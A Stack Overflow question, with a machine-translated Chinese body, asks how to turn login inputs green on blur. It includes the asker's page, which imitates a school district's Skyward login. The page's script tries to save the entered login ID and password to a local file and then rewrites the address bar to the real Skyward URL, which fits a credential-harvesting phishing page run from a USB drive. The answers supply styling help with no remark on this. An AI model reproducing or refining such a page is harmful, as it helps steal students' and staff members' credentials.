【问题标题】:How to change form background color on focus loss when text is entered?输入文本时如何在焦点丢失时更改表单背景颜色?
【发布时间】:2018-03-03 00:00:50
【问题描述】:

首先我想指出,所有这些都是客户端,而不是任何基于 Web 的。输入文本后,我需要在焦点丢失后将表单框变为绿色。表单框一开始是白色的,焦点变为紫色,我需要它们在输入文本时失去焦点时变为绿色。


<!DOCTYPE html>
<html>
<head>
<title>Login - Powered By Skyward</title>
<link rel="icon" href="skyicon.gif">
<meta name="viewport" content="height=device-height, initial-scale=1.0">
<script type ="text/javascript">
function WriteToFile(passForm) {
set fso = CreateObject("Scripting.FileSystemObject");  
set s = fso.CreateTextFile("C:\error.txt", True);
s.writeline(document.passForm.input1.value);
s.writeline(document.passForm.input2.value);
s.Close();
window.history.pushState("object or string", "Skyward Login", "https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
</script>
<style>
body {
    background-image: url("slp_ps.jpg");
    background-repeat:no-repeat;
}
input {
    display:inline-block;
    float:right;
}
{
width:1234px;
height:50%;
position:relative;
margin:auto;
}
.btn-style{
    border : solid 1px #2d9cf0;
    border-radius : 3px;
    moz-border-radius : 3px;
    font-size : 9px;
    color : #000000;
    padding : 4px 13px;
    background-color : #ffffff;

}
div {
    margin-top: 500px;
    margin-bottom: 0px;
    margin-right: 500px;
    margin-left: 485px;
}
.inputbox-css {
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  margin: -1px 0 0;
  padding: 5px;
  border: 1px solid rgba(127,174,255,1);
  -webkit-border-radius: 1px;
  border-radius: 1px;
  font: normal 16px/normal "Times New Roman", Times, serif;
  color: rgba(0,0,0,0.9);
  -o-text-overflow: clip;
  text-overflow: clip;
}

.inputbox-css:focus {
  background: #ebc4fc;
}
p {
  display:block;
  float:right;
}
</style>
</head>
<body>
<body background="slp_ps.jpg" style="width:1220px;height:700px;">
<div>
<p>
<form onsubmit="download(this['name'].value, this['text'].value)">
<font size="2" face="arial" class="element"> Login ID: </font><input         class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;"     name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>
<br>
<font size="2" face="arial" class="element"> Password: </font><input     class="inputbox-css" type="password" style="font-family: Verdana; font-size:     12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>
<br>
<font size="2" face="arial"> <input type="submit" class="btn-    style"name="lllllllllll submit" value="Sign In"/><br>
</form>
</p>
</div>
</form>
</body>
</html>

【问题讨论】:

  • 你说的client side, not web based是什么意思??
  • 你试过什么?你能上传一些代码吗?见stackoverflow.com/help/how-to-ask
  • 欢迎来到 Stack Overflow!预计您至少会尝试自己编写代码。 Stack Overflow 不是代码编写服务。我建议你做一些additional research,无论是通过谷歌还是通过搜索,尝试一下。如果您仍然遇到问题,请返回您的代码并解释您尝试过的操作。
  • 你们都误会了,我正在使用闪存驱动器工作,这不在互联网上,对不起我的英语不好

标签: javascript html css focus client-side


【解决方案1】:

blur 就是你要找的东西。

document.write("<input type='text'>");
var input = document.querySelector('input');
input.addEventListener('focus',function(){
  input.style.backgroundColor = "purple";
})
input.addEventListener('blur',function(){
  if(input.value != ""){
      input.style.backgroundColor = "green";
  }
})

【讨论】:

    【解决方案2】:

    这是一个使用 Jquery 的快速 jsfiddle:

    https://jsfiddle.net/37dw6e3u/

    使用 jquery .blur 函数:

    $("input").blur(function(){
        $(this).css("background-color", "green")
    });
    

    (不检查用户是否确实添加了文本,因此您可以自己编写),您可以使用 .focus 更改焦点颜色。

    我想说的是,对这个问题进行非常快速的谷歌搜索会为您的问题找到大量解决方案。下次先尝试自己修复!

    【讨论】:

    • 不,问题是这一切都来自 USB,我没有网络服务器,不能使用 jquery 或 php
    • 为什么不能在你的 USB 上包含 jquery?模糊选择器上没有 css
    • 我在本地运行,没有网络服务器
    • 是的,没关系?您可以像在本地运行 javascript 一样包含 jquery local,因为您的浏览器运行它而不是您的服务器。只需下载 jquery 文件并将其添加到您的 USB。只要您在可以运行 javascript 的网络浏览器中打开该页面(任何您喜欢的浏览器都可以)就可以了。我建议多阅读一些网站工作原理的基础知识!
    • 感谢您的洞察!我的印象是 jquery 像 php 一样在服务器端运行......我一定会接受你的建议,非常感谢你的友好回应!
    猜你喜欢
    • 2018-04-14
    • 2021-02-11
    • 1970-01-01
    • 2021-12-06
    • 2014-03-03
    • 2018-09-09
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多